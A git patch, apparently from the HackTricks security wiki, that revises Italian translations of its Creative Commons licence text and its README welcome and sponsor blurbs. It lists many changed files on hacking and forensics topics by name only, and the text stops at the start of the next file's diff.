From 9876d1a7cc6467da238cce5d07ab0e6a188e432f Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 12:27:36 +0000 Subject: [PATCH] Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md --- src/LICENSE.md | 36 +- src/README.md | 14 +- src/SUMMARY.md | 1 + src/android-forensics.md | 2 +- src/backdoors/icmpsh.md | 20 +- src/backdoors/salseo.md | 110 +- src/banners/hacktricks-training.md | 12 +- .../arbitrary-write-2-exec/README.md | 4 +- .../aw2exec-__malloc_hook.md | 48 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 60 +- .../www2exec-.dtors-and-.fini_array.md | 38 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 282 +- src/binary-exploitation/array-indexing.md | 16 +- .../README.md | 132 +- .../elf-tricks.md | 404 ++- .../tools/README.md | 122 +- .../tools/pwntools.md | 132 +- .../README.md | 26 +- .../aslr/README.md | 224 +- .../aslr/ret2plt.md | 58 +- .../aslr/ret2ret.md | 20 +- .../cet-and-shadow-stack.md | 18 +- .../libc-protections.md | 86 +- .../memory-tagging-extension-mte.md | 62 +- .../no-exec-nx.md | 14 +- .../pie/README.md | 24 +- .../pie/bypassing-canary-and-pie.md | 82 +- .../relro.md | 20 +- .../stack-canaries/README.md | 54 +- .../bf-forked-stack-canaries.md | 122 +- .../stack-canaries/print-stack-canary.md | 24 +- .../common-exploiting-problems.md | 18 +- .../format-strings/README.md | 169 +- .../format-strings-arbitrary-read-example.md | 146 +- .../format-strings/format-strings-template.md | 92 +- src/binary-exploitation/integer-overflow.md | 110 +- src/binary-exploitation/ios-exploiting.md | 287 +- src/binary-exploitation/libc-heap/README.md | 432 ++- .../libc-heap/bins-and-memory-allocations.md | 524 ++-- .../libc-heap/double-free.md | 158 +- .../libc-heap/fast-bin-attack.md | 152 +- .../libc-heap/heap-memory-functions/README.md | 2 +- .../libc-heap/heap-memory-functions/free.md | 484 ++-- .../heap-functions-security-checks.md | 220 +- .../malloc-and-sysmalloc.md | 2438 ++++++++--------- .../libc-heap/heap-memory-functions/unlink.md | 98 +- .../libc-heap/heap-overflow.md | 40 +- .../libc-heap/house-of-einherjar.md | 60 +- .../libc-heap/house-of-force.md | 68 +- .../libc-heap/house-of-lore.md | 56 +- .../libc-heap/house-of-orange.md | 80 +- .../libc-heap/house-of-rabbit.md | 84 +- .../libc-heap/house-of-roman.md | 100 +- .../libc-heap/house-of-spirit.md | 118 +- .../libc-heap/large-bin-attack.md | 56 +- .../libc-heap/off-by-one-overflow.md | 144 +- .../libc-heap/overwriting-a-freed-chunk.md | 20 +- .../libc-heap/tcache-bin-attack.md | 46 +- .../libc-heap/unlink-attack.md | 150 +- .../libc-heap/unsorted-bin-attack.md | 84 +- .../libc-heap/use-after-free/README.md | 12 +- .../libc-heap/use-after-free/first-fit.md | 42 +- .../rop-return-oriented-programing/README.md | 136 +- .../brop-blind-return-oriented-programming.md | 108 +- .../rop-return-oriented-programing/ret2csu.md | 78 +- .../ret2dlresolve.md | 46 +- .../ret2esp-ret2reg.md | 92 +- .../ret2lib/README.md | 116 +- .../ret2lib/one-gadget.md | 20 +- .../ret2lib/ret2lib-+-printf-leak-arm64.md | 120 +- .../rop-leaking-libc-address/README.md | 234 +- .../rop-leaking-libc-template.md | 210 +- .../ret2vdso.md | 16 +- .../rop-syscall-execv/README.md | 70 +- .../rop-syscall-execv/ret2syscall-arm64.md | 62 +- .../README.md | 40 +- .../srop-arm64.md | 80 +- .../stack-overflow/README.md | 60 +- .../stack-overflow/pointer-redirecting.md | 12 +- .../stack-overflow/ret2win/README.md | 80 +- .../stack-overflow/ret2win/ret2win-arm64.md | 72 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 160 +- .../stack-overflow/stack-shellcode/README.md | 64 +- .../stack-shellcode/stack-shellcode-arm64.md | 30 +- .../stack-overflow/uninitialized-variables.md | 68 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 146 +- .../README.md | 180 +- src/burp-suite.md | 2 +- .../blockchain-and-crypto-currencies.md | 180 +- src/crypto-and-stego/certificates.md | 200 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 146 +- .../cryptographic-algorithms/README.md | 142 +- .../unpacking-binaries.md | 34 +- .../electronic-code-book-ecb.md | 68 +- src/crypto-and-stego/esoteric-languages.md | 10 +- .../hash-length-extension-attack.md | 40 +- src/crypto-and-stego/padding-oracle-priv.md | 77 +- .../rc4-encrypt-and-decrypt.md | 4 +- src/crypto-and-stego/stego-tricks.md | 136 +- src/cryptography/certificates.md | 182 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/cryptography/crypto-ctfs-tricks.md | 148 +- src/cryptography/electronic-code-book-ecb.md | 68 +- .../hash-length-extension-attack.md | 40 +- src/cryptography/padding-oracle-priv.md | 80 +- src/cryptography/rc4-encrypt-and-decrypt.md | 4 +- src/emails-vulns.md | 3 +- .../linux-exploiting-basic-esp/README.md | 402 ++- .../linux-exploiting-basic-esp/fusion.md | 10 +- src/exploiting/tools/README.md | 116 +- src/exploiting/tools/pwntools.md | 130 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 146 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 154 +- .../docker-forensics.md | 76 +- .../file-integrity-monitoring.md | 12 +- .../linux-forensics.md | 360 +-- .../malware-analysis.md | 106 +- .../memory-dump-analysis/README.md | 34 +- .../partitions-file-systems-carving/README.md | 232 +- .../file-data-carving-recovery-tools.md | 64 +- .../file-data-carving-tools.md | 42 +- .../pcap-inspection/README.md | 110 +- .../usb-keyboard-pcap-analysis.md | 8 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 26 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 184 +- .../desofuscation-vbs-cscript.exe.md | 40 +- .../local-cloud-storage.md | 105 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 24 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 446 ++- .../interesting-windows-registry-keys.md | 100 +- .../windows-forensics/windows-processes.md | 78 +- src/generic-hacking/brute-force.md | 360 +-- src/generic-hacking/exfiltration.md | 138 +- src/generic-hacking/reverse-shells/README.md | 2 +- .../expose-local-to-the-internet.md | 32 +- .../reverse-shells/full-ttys.md | 48 +- src/generic-hacking/reverse-shells/linux.md | 210 +- .../reverse-shells/msfvenom.md | 102 +- src/generic-hacking/reverse-shells/windows.md | 286 +- src/generic-hacking/search-exploits.md | 39 +- .../tunneling-and-port-forwarding.md | 304 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 148 +- .../docker-forensics.md | 76 +- .../file-integrity-monitoring.md | 12 +- .../image-acquisition-and-mount.md | 45 +- .../linux-forensics.md | 360 +-- .../malware-analysis.md | 106 +- .../memory-dump-analysis/README.md | 34 +- .../volatility-cheatsheet.md | 328 +-- .../partitions-file-systems-carving/README.md | 230 +- .../file-data-carving-recovery-tools.md | 66 +- .../pcap-inspection/README.md | 116 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../suricata-and-iptables-cheatsheet.md | 116 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 26 +- .../pcap-inspection/wireshark-tricks.md | 114 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 182 +- .../desofuscation-vbs-cscript.exe.md | 40 +- .../local-cloud-storage.md | 105 +- .../office-file-analysis.md | 30 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 12 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 442 ++- .../interesting-windows-registry-keys.md | 100 +- .../external-recon-methodology/README.md | 510 ++-- .../github-leaked-secrets.md | 13 +- .../wide-source-code-search.md | 18 +- .../pentesting-methodology.md | 138 +- .../pentesting-network/README.md | 552 ++-- .../pentesting-network/dhcpv6.md | 58 +- .../pentesting-network/eigrp-attacks.md | 94 +- .../glbp-and-hsrp-attacks.md | 156 +- .../pentesting-network/ids-evasion.md | 56 +- .../lateral-vlan-segmentation-bypass.md | 38 +- .../network-protocols-explained-esp.md | 38 +- .../pentesting-network/nmap-summary-esp.md | 255 +- .../pentesting-network/pentesting-ipv6.md | 120 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 116 +- .../spoofing-ssdp-and-upnp-devices.md | 32 +- .../pentesting-network/webrtc-dos.md | 36 +- .../pentesting-wifi/README.md | 607 ++-- .../pentesting-wifi/evil-twin-eap-tls.md | 38 +- .../phishing-methodology/README.md | 382 ++- .../phishing-methodology/clone-a-website.md | 20 +- .../phishing-methodology/detecting-phising.md | 64 +- .../phishing-documents.md | 160 +- .../python/README.md | 28 +- .../python/basic-python.md | 290 +- .../python/bruteforce-hash-few-chars.md | 52 +- .../python/bypass-python-sandboxes/README.md | 733 +++-- .../load_name-load_const-opcode-oob-read.md | 222 +- ...s-pollution-pythons-prototype-pollution.md | 208 +- .../python/pyscript.md | 222 +- .../python/python-internal-read-gadgets.md | 30 +- .../python/venv.md | 18 - .../python/web-requests.md | 75 +- .../threat-modeling.md | 96 +- .../escaping-from-gui-applications.md | 378 +-- .../firmware-analysis/README.md | 214 +- .../firmware-analysis/bootloader-testing.md | 62 +- .../firmware-analysis/firmware-integrity.md | 38 +- .../physical-attacks.md | 52 +- src/interesting-http.md | 25 +- .../bypass-bash-restrictions/README.md | 88 +- .../README.md | 81 +- .../ddexec.md | 76 +- src/linux-hardening/freeipa-pentesting.md | 114 +- .../linux-environment-variables.md | 92 +- .../linux-post-exploitation/README.md | 42 +- .../pam-pluggable-authentication-modules.md | 44 +- .../linux-privilege-escalation-checklist.md | 216 +- .../privilege-escalation/README.md | 106 +- .../privilege-escalation/cisco-vmanage.md | 50 +- .../containerd-ctr-privilege-escalation.md | 26 +- ...-command-injection-privilege-escalation.md | 458 ++-- .../docker-security/README.md | 54 +- .../docker-security/apparmor.md | 52 +- ...uthn-docker-access-authorization-plugin.md | 20 +- .../docker-security/cgroups.md | 4 +- .../README.md | 28 +- .../docker-release_agent-cgroups-escape.md | 4 +- ...se_agent-exploit-relative-paths-to-pids.md | 6 +- .../sensitive-mounts.md | 4 +- .../docker-security/docker-privileged.md | 10 +- .../namespaces/cgroup-namespace.md | 6 +- .../namespaces/ipc-namespace.md | 6 +- .../namespaces/mount-namespace.md | 10 +- .../namespaces/network-namespace.md | 6 +- .../namespaces/pid-namespace.md | 14 +- .../namespaces/time-namespace.md | 4 +- .../namespaces/user-namespace.md | 10 +- .../docker-security/seccomp.md | 4 +- .../docker-security/weaponizing-distroless.md | 2 +- .../electron-cef-chromium-debugger-abuse.md | 112 +- .../escaping-from-limited-bash.md | 176 +- .../privilege-escalation/euid-ruid-suid.md | 192 +- .../interesting-groups-linux-pe/README.md | 18 +- .../ld.so.conf-example.md | 8 +- .../linux-active-directory.md | 6 +- .../linux-capabilities.md | 49 +- .../privilege-escalation/logstash.md | 12 +- .../nfs-no_root_squash-misconfiguration-pe.md | 6 +- .../payloads-to-execute.md | 4 +- .../runc-privilege-escalation.md | 2 +- .../privilege-escalation/selinux.md | 4 +- .../socket-command-injection.md | 2 +- .../splunk-lpe-and-persistence.md | 2 +- .../ssh-forward-agent-exploitation.md | 2 +- .../wildcards-spare-tricks.md | 2 +- .../privilege-escalation/write-to-root.md | 2 +- src/linux-hardening/useful-linux-commands.md | 48 +- .../bypass-bash-restrictions.md | 2 +- .../privilege-escalation/exploiting-yum.md | 2 +- .../interesting-groups-linux-pe.md | 4 +- .../macos-auto-start-locations.md | 95 +- .../macos-red-teaming/README.md | 12 +- .../macos-red-teaming/macos-keychain.md | 4 +- .../macos-red-teaming/macos-mdm/README.md | 10 +- ...nrolling-devices-in-other-organisations.md | 6 +- .../macos-mdm/macos-serial-number.md | 2 +- .../README.md | 6 +- .../macos-function-hooking.md | 8 +- .../mac-os-architecture/macos-iokit.md | 16 +- .../macos-applefs.md | 6 +- .../macos-basic-objective-c.md | 4 +- .../macos-defensive-apps.md | 8 +- ...yld-hijacking-and-dyld_insert_libraries.md | 6 +- .../macos-file-extension-apps.md | 6 +- .../macos-gcd-grand-central-dispatch.md | 8 +- .../macos-privilege-escalation.md | 22 +- .../macos-protocols.md | 2 +- src/macos-hardening/macos-useful-commands.md | 2 +- src/online-platforms-with-api.md | 75 +- src/other-web-tricks.md | 42 +- src/pentesting-dns.md | 4 +- .../hacking-jwt-json-web-tokens.md | 14 +- src/post-exploitation.md | 16 +- ...itive-information-disclosure-from-a-web.md | 14 +- 293 files changed, 12955 insertions(+), 16442 deletions(-) diff --git a/src/LICENSE.md b/src/LICENSE.md index 5687b4f76..c0b0a4925 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -15,7 +15,7 @@ Creative Commons Corporation (“Creative Commons”) non è uno studio legale e ## Utilizzo delle Licenze Pubbliche Creative Commons -Le licenze pubbliche Creative Commons forniscono un insieme standard di termini e condizioni che i creatori e altri titolari di diritti possono utilizzare per condividere opere originali di autorialità e altro materiale soggetto a copyright e ad alcuni altri diritti specificati nella licenza pubblica sottostante. Le seguenti considerazioni sono solo a scopo informativo, non sono esaustive e non fanno parte delle nostre licenze. +Le licenze pubbliche di Creative Commons forniscono un insieme standard di termini e condizioni che i creatori e altri titolari di diritti possono utilizzare per condividere opere originali di autorialità e altro materiale soggetto a copyright e ad alcuni altri diritti specificati nella licenza pubblica sottostante. Le seguenti considerazioni sono solo a scopo informativo, non sono esaustive e non fanno parte delle nostre licenze. - **Considerazioni per i licenziatari:** Le nostre licenze pubbliche sono destinate all'uso da parte di coloro che sono autorizzati a dare al pubblico il permesso di utilizzare materiale in modi altrimenti limitati dal copyright e da alcuni altri diritti. Le nostre licenze sono irrevocabili. I licenziatari devono leggere e comprendere i termini e le condizioni della licenza che scelgono prima di applicarla. I licenziatari devono anche garantire tutti i diritti necessari prima di applicare le nostre licenze affinché il pubblico possa riutilizzare il materiale come previsto. I licenziatari devono contrassegnare chiaramente qualsiasi materiale non soggetto alla licenza. Questo include altro materiale con licenza CC, o materiale utilizzato ai sensi di un'eccezione o limitazione al copyright. [Ulteriori considerazioni per i licenziatari](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). @@ -27,7 +27,7 @@ Esercitando i Diritti Licenziati (definiti di seguito), accetti e ti impegni a r ## Sezione 1 – Definizioni. -a. **Materiale Adattato** significa materiale soggetto a Copyright e Diritti Simili che è derivato o basato sul Materiale Licenziato e in cui il Materiale Licenziato è tradotto, alterato, disposto, trasformato o altrimenti modificato in un modo che richiede permesso ai sensi del Copyright e Diritti Simili detenuti dal Licenziante. Ai fini di questa Licenza Pubblica, quando il Materiale Licenziato è un'opera musicale, una performance o una registrazione sonora, il Materiale Adattato è sempre prodotto quando il Materiale Licenziato è sincronizzato in relazione temporale con un'immagine in movimento. +a. **Materiale Adattato** significa materiale soggetto a Copyright e Diritti Simili che è derivato o basato sul Materiale Licenziato e in cui il Materiale Licenziato è tradotto, alterato, disposto, trasformato o altrimenti modificato in un modo che richiede permesso ai sensi del Copyright e dei Diritti Simili detenuti dal Licenziante. Ai fini di questa Licenza Pubblica, quando il Materiale Licenziato è un'opera musicale, una performance o una registrazione sonora, il Materiale Adattato è sempre prodotto quando il Materiale Licenziato è sincronizzato in relazione temporale con un'immagine in movimento. b. **Licenza dell'Adapter** significa la licenza che applichi ai tuoi Diritti di Copyright e Simili nelle tue contribuzioni al Materiale Adattato in conformità con i termini e le condizioni di questa Licenza Pubblica. @@ -35,13 +35,13 @@ c. **Copyright e Diritti Simili** significa copyright e/o diritti simili stretta d. **Misure Tecnologiche Efficaci** significa quelle misure che, in assenza di una corretta autorità, non possono essere eluse ai sensi delle leggi che soddisfano gli obblighi ai sensi dell'Articolo 11 del Trattato sul Copyright dell'OMPI adottato il 20 dicembre 1996, e/o accordi internazionali simili. -e. **Eccezioni e Limitazioni** significa uso equo, trattativa equa e/o qualsiasi altra eccezione o limitazione al Copyright e Diritti Simili che si applica al tuo uso del Materiale Licenziato. +e. **Eccezioni e Limitazioni** significa uso equo, trattativa equa e/o qualsiasi altra eccezione o limitazione al Copyright e ai Diritti Simili che si applica al tuo uso del Materiale Licenziato. f. **Materiale Licenziato** significa l'opera artistica o letteraria, il database o altro materiale a cui il Licenziante ha applicato questa Licenza Pubblica. g. **Diritti Licenziati** significa i diritti concessi a te soggetti ai termini e alle condizioni di questa Licenza Pubblica, che sono limitati a tutti i Copyright e Diritti Simili che si applicano al tuo uso del Materiale Licenziato e che il Licenziante ha l'autorità di concedere in licenza. -h. **Licenziante** significa l'individuo(i) o entità(e) che concedono diritti ai sensi di questa Licenza Pubblica. +h. **Licenziante** significa l'individuo o gli enti che concedono diritti ai sensi di questa Licenza Pubblica. i. **NonCommerciale** significa non principalmente destinato a o diretto verso vantaggi commerciali o compensi monetari. Ai fini di questa Licenza Pubblica, lo scambio del Materiale Licenziato per altro materiale soggetto a Copyright e Diritti Simili tramite condivisione di file digitali o mezzi simili è NonCommerciale a condizione che non ci sia pagamento di compenso monetario in relazione allo scambio. @@ -61,10 +61,10 @@ A. riprodurre e Condividere il Materiale Licenziato, in tutto o in parte, solo p B. produrre, riprodurre e Condividere Materiale Adattato solo per scopi NonCommerciali. -2. **Eccezioni e Limitazioni.** Per evitare dubbi, dove si applicano Eccezioni e Limitazioni al tuo uso, questa Licenza Pubblica non si applica e non devi rispettare i suoi termini e condizioni. -3. **Durata.** La durata di questa Licenza Pubblica è specificata nella Sezione 6(a). +2. **Eccezioni e Limitazioni.** Per evitare dubbi, dove si applicano Eccezioni e Limitazioni al tuo uso, questa Licenza Pubblica non si applica e non devi rispettarne i termini e le condizioni. +3. **Termine.** Il termine di questa Licenza Pubblica è specificato nella Sezione 6(a). -4. **Media e formati; modifiche tecniche consentite.** Il Licenziante ti autorizza a esercitare i Diritti Licenziati in tutti i media e formati, sia ora conosciuti che creati in seguito, e a fare modifiche tecniche necessarie per farlo. Il Licenziante rinuncia e/o concorda di non affermare alcun diritto o autorità per vietarti di fare modifiche tecniche necessarie per esercitare i Diritti Licenziati, comprese le modifiche tecniche necessarie per eludere Misure Tecnologiche Efficaci. Ai fini di questa Licenza Pubblica, semplicemente apportare modifiche autorizzate da questa Sezione 2(a)(4) non produce mai Materiale Adattato. +4. **Media e formati; modifiche tecniche consentite.** Il Licenziante ti autorizza a esercitare i Diritti Licenziati in tutti i media e formati, sia ora conosciuti che creati in seguito, e a fare modifiche tecniche necessarie per farlo. Il Licenziante rinuncia e/o concorda di non affermare alcun diritto o autorità di vietarti di fare modifiche tecniche necessarie per esercitare i Diritti Licenziati, comprese le modifiche tecniche necessarie per eludere Misure Tecnologiche Efficaci. Ai fini di questa Licenza Pubblica, semplicemente apportare modifiche autorizzate da questa Sezione 2(a)(4) non produce mai Materiale Adattato. 5. **Destinatari a valle.** A. **Offerta del Licenziante – Materiale Licenziato.** Ogni destinatario del Materiale Licenziato riceve automaticamente un'offerta dal Licenziante per esercitare i Diritti Licenziati ai sensi dei termini e delle condizioni di questa Licenza Pubblica. @@ -91,7 +91,7 @@ a. **_Attribuzione._** A. mantenere quanto segue se fornito dal Licenziante con il Materiale Licenziato: -i. identificazione del creatore(i) del Materiale Licenziato e di qualsiasi altro designato per ricevere attribuzione, in qualsiasi modo ragionevole richiesto dal Licenziante (incluso con pseudonimo se designato); +i. identificazione del creatore o dei creatori del Materiale Licenziato e di qualsiasi altro designato per ricevere attribuzione, in qualsiasi modo ragionevole richiesto dal Licenziante (incluso con pseudonimo se designato); ii. un avviso di copyright; @@ -99,15 +99,15 @@ iii. un avviso che si riferisce a questa Licenza Pubblica; iv. un avviso che si riferisce alla rinuncia alle garanzie; -v. un URI o collegamento ipertestuale al Materiale Licenziato nella misura ragionevolmente praticabile; +v. un URI o hyperlink al Materiale Licenziato nella misura ragionevolmente praticabile; B. indicare se hai modificato il Materiale Licenziato e mantenere un'indicazione di eventuali modifiche precedenti; e -C. indicare che il Materiale Licenziato è concesso in licenza ai sensi di questa Licenza Pubblica, e includere il testo di, o l'URI o collegamento ipertestuale a, questa Licenza Pubblica. +C. indicare che il Materiale Licenziato è concesso in licenza ai sensi di questa Licenza Pubblica, e includere il testo di, o l'URI o hyperlink a, questa Licenza Pubblica. -2. Puoi soddisfare le condizioni nella Sezione 3(a)(1) in qualsiasi modo ragionevole basato sul mezzo, i mezzi e il contesto in cui Condividi il Materiale Licenziato. Ad esempio, potrebbe essere ragionevole soddisfare le condizioni fornendo un URI o collegamento ipertestuale a una risorsa che include le informazioni richieste. +2. Puoi soddisfare le condizioni nella Sezione 3(a)(1) in qualsiasi modo ragionevole basato sul mezzo, sui mezzi e sul contesto in cui Condividi il Materiale Licenziato. Ad esempio, potrebbe essere ragionevole soddisfare le condizioni fornendo un URI o hyperlink a una risorsa che include le informazioni richieste. -3. Se richiesto dal Licenziante, devi rimuovere qualsiasi delle informazioni richieste dalla Sezione 3(a)(1)(A) nella misura ragionevolmente praticabile. +3. Se richiesto dal Licenziante, devi rimuovere qualsiasi informazione richiesta dalla Sezione 3(a)(1)(A) nella misura ragionevolmente praticabile. 4. Se Condividi Materiale Adattato che produci, la Licenza dell'Adapter che applichi non deve impedire ai destinatari del Materiale Adattato di rispettare questa Licenza Pubblica. @@ -125,15 +125,15 @@ Per evitare dubbi, questa Sezione 4 integra e non sostituisce i tuoi obblighi ai ## Sezione 5 – Rinuncia alle Garanzie e Limitazione di Responsabilità. -a. **Salvo diversa disposizione da parte del Licenziante, nella misura possibile, il Licenziante offre il Materiale Licenziato così com'è e così disponibile, e non fa dichiarazioni o garanzie di alcun tipo riguardo al Materiale Licenziato, siano esse esplicite, implicite, legali o altro. Questo include, senza limitazione, garanzie di titolo, commerciabilità, idoneità per uno scopo particolare, non violazione, assenza di difetti latenti o altri, accuratezza, o la presenza o assenza di errori, siano essi noti o scopribili. Dove le rinunce alle garanzie non sono consentite in tutto o in parte, questa rinuncia potrebbe non applicarsi a te.** +a. **Salvo diversa disposizione da parte del Licenziante, nella misura possibile, il Licenziante offre il Materiale Licenziato così com'è e così disponibile, e non fa dichiarazioni o garanzie di alcun tipo riguardo al Materiale Licenziato, siano esse esplicite, implicite, legali o altro. Ciò include, senza limitazione, garanzie di titolo, commerciabilità, idoneità per uno scopo particolare, non violazione, assenza di difetti latenti o altri difetti, accuratezza, o la presenza o assenza di errori, siano essi noti o scopribili. Dove le rinunce alle garanzie non sono consentite in tutto o in parte, questa rinuncia potrebbe non applicarsi a te.** -b. **Nella misura possibile, in nessun caso il Licenziante sarà responsabile nei tuoi confronti su qualsiasi teoria legale (inclusa, senza limitazione, negligenza) o altro per qualsiasi perdita, costo, spesa o danno diretto, speciale, indiretto, incidentale, consequenziale, punitivo, esemplare o altro derivante da questa Licenza Pubblica o dall'uso del Materiale Licenziato, anche se il Licenziante è stato avvisato della possibilità di tali perdite, costi, spese o danni. Dove una limitazione di responsabilità non è consentita in tutto o in parte, questa limitazione potrebbe non applicarsi a te.** +b. **Nella misura possibile, in nessun caso il Licenziante sarà responsabile nei tuoi confronti su alcuna teoria legale (inclusa, senza limitazione, negligenza) o altro per qualsiasi perdita, costo, spesa o danno diretto, speciale, indiretto, incidentale, consequenziale, punitivo, esemplare o altro derivante da questa Licenza Pubblica o dall'uso del Materiale Licenziato, anche se il Licenziante è stato avvisato della possibilità di tali perdite, costi, spese o danni. Dove una limitazione di responsabilità non è consentita in tutto o in parte, questa limitazione potrebbe non applicarsi a te.** c. La rinuncia alle garanzie e la limitazione di responsabilità fornite sopra saranno interpretate in un modo che, nella misura possibile, si avvicina di più a una rinuncia assoluta e a una rinuncia di ogni responsabilità. -## Sezione 6 – Durata e Risoluzione. +## Sezione 6 – Termine e Risoluzione. -a. Questa Licenza Pubblica si applica per la durata dei Copyright e Diritti Simili concessi qui. Tuttavia, se non rispetti questa Licenza Pubblica, allora i tuoi diritti ai sensi di questa Licenza Pubblica terminano automaticamente. +a. Questa Licenza Pubblica si applica per il termine dei Copyright e Diritti Simili concessi qui. Tuttavia, se non rispetti questa Licenza Pubblica, i tuoi diritti ai sensi di questa Licenza Pubblica terminano automaticamente. b. Dove il tuo diritto di utilizzare il Materiale Licenziato è terminato ai sensi della Sezione 6(a), si ripristina: @@ -143,13 +143,13 @@ b. Dove il tuo diritto di utilizzare il Materiale Licenziato è terminato ai sen Per evitare dubbi, questa Sezione 6(b) non influisce su alcun diritto che il Licenziante potrebbe avere di cercare rimedi per le tue violazioni di questa Licenza Pubblica. -c. Per evitare dubbi, il Licenziante può anche offrire il Materiale Licenziato ai sensi di termini o condizioni separati o smettere di distribuire il Materiale Licenziato in qualsiasi momento; tuttavia, farlo non terminerà questa Licenza Pubblica. +c. Per evitare dubbi, il Licenziante può anche offrire il Materiale Licenziato ai sensi di termini o condizioni separati o smettere di distribuire il Materiale Licenziato in qualsiasi momento; tuttavia, ciò non terminerà questa Licenza Pubblica. d. Le Sezioni 1, 5, 6, 7 e 8 sopravvivono alla risoluzione di questa Licenza Pubblica. ## Sezione 7 – Altri Termini e Condizioni. -a. Il Licenziante non sarà vincolato da termini o condizioni aggiuntivi o diversi comunicati da te a meno che non concordato espressamente. +a. Il Licenziante non sarà vincolato da termini o condizioni aggiuntivi o diversi comunicati da te, a meno che non sia espressamente concordato. b. Qualsiasi accordo, intesa o contratto riguardante il Materiale Licenziato non dichiarato qui è separato e indipendente dai termini e dalle condizioni di questa Licenza Pubblica. diff --git a/src/README.md b/src/README.md index 228b8f999..fff06091c 100644 --- a/src/README.md +++ b/src/README.md @@ -7,7 +7,7 @@ Reading time: {{ #reading_time }} _I loghi e il design in movimento di Hacktricks sono di_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ > [!TIP] -> **Benvenuto nel wiki dove troverai ogni trucco/tecnica di hacking/qualunque cosa io abbia imparato da CTF, applicazioni della vita reale, lettura di ricerche e notizie.** +> **Benvenuto nel wiki dove troverai ogni trucco/tecnica/hacking che ho imparato da CTF, applicazioni della vita reale, letture di ricerche e notizie.** Per iniziare, segui questa pagina dove troverai il **flusso tipico** che **dovresti seguire quando fai pentesting** su una o più **macchine:** @@ -43,7 +43,7 @@ Puoi controllare il loro **blog** in [**https://blog.stmcyber.com**](https://blo
-**Intigriti** è la **piattaforma di hacking etico e bug bounty numero 1 in Europa.** +**Intigriti** è la **piattaforma di ethical hacking e bug bounty #1 in Europa.** **Suggerimento bug bounty**: **iscriviti** a **Intigriti**, una premium **piattaforma di bug bounty creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**! @@ -70,9 +70,9 @@ Accedi oggi: Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty! -- **Approfondimenti sul hacking:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking -- **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale -- **Ultimi annunci:** Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma +- **Hacking Insights:** Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking +- **Notizie di hacking in tempo reale:** Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale +- **Ultimi annunci:** Rimani informato sugli ultimi bug bounty in partenza e aggiornamenti cruciali della piattaforma **Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi! @@ -119,11 +119,11 @@ Impara le tecnologie e le competenze necessarie per eseguire ricerche sulle vuln
-[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta **a proteggere** le aziende **in tutto il mondo** contro le ultime minacce alla cybersecurity fornendo **servizi di sicurezza offensiva** con un **approccio moderno**. +[**WebSec**](https://websec.nl) è un'azienda di cybersecurity professionale con sede ad **Amsterdam** che aiuta **a proteggere** le aziende **in tutto il mondo** contro le ultime minacce alla cybersecurity fornendo **servizi di sicurezza offensiva** con un approccio **moderno**. WebSec è un'**azienda di sicurezza all-in-one**, il che significa che fanno tutto; Pentesting, **Audit** di Sicurezza, Formazione sulla Consapevolezza, Campagne di Phishing, Revisione del Codice, Sviluppo di Exploit, Outsourcing di Esperti di Sicurezza e molto altro. -Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie competenze**, tanto da **garantire i migliori risultati di qualità**, affermando sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)! +Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto sicura delle proprie capacità**, tanto da **garantire i migliori risultati di qualità**, affermando sul loro sito web "**Se non possiamo hackarlo, non lo paghi!**". Per ulteriori informazioni, dai un'occhiata al loro [**sito web**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)! In aggiunta a quanto sopra, WebSec è anche un **sostenitore impegnato di HackTricks.** diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4a8579657..fb3efcc74 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -868,3 +868,4 @@ - [Cookies Policy](todo/cookies-policy.md) + diff --git a/src/android-forensics.md b/src/android-forensics.md index 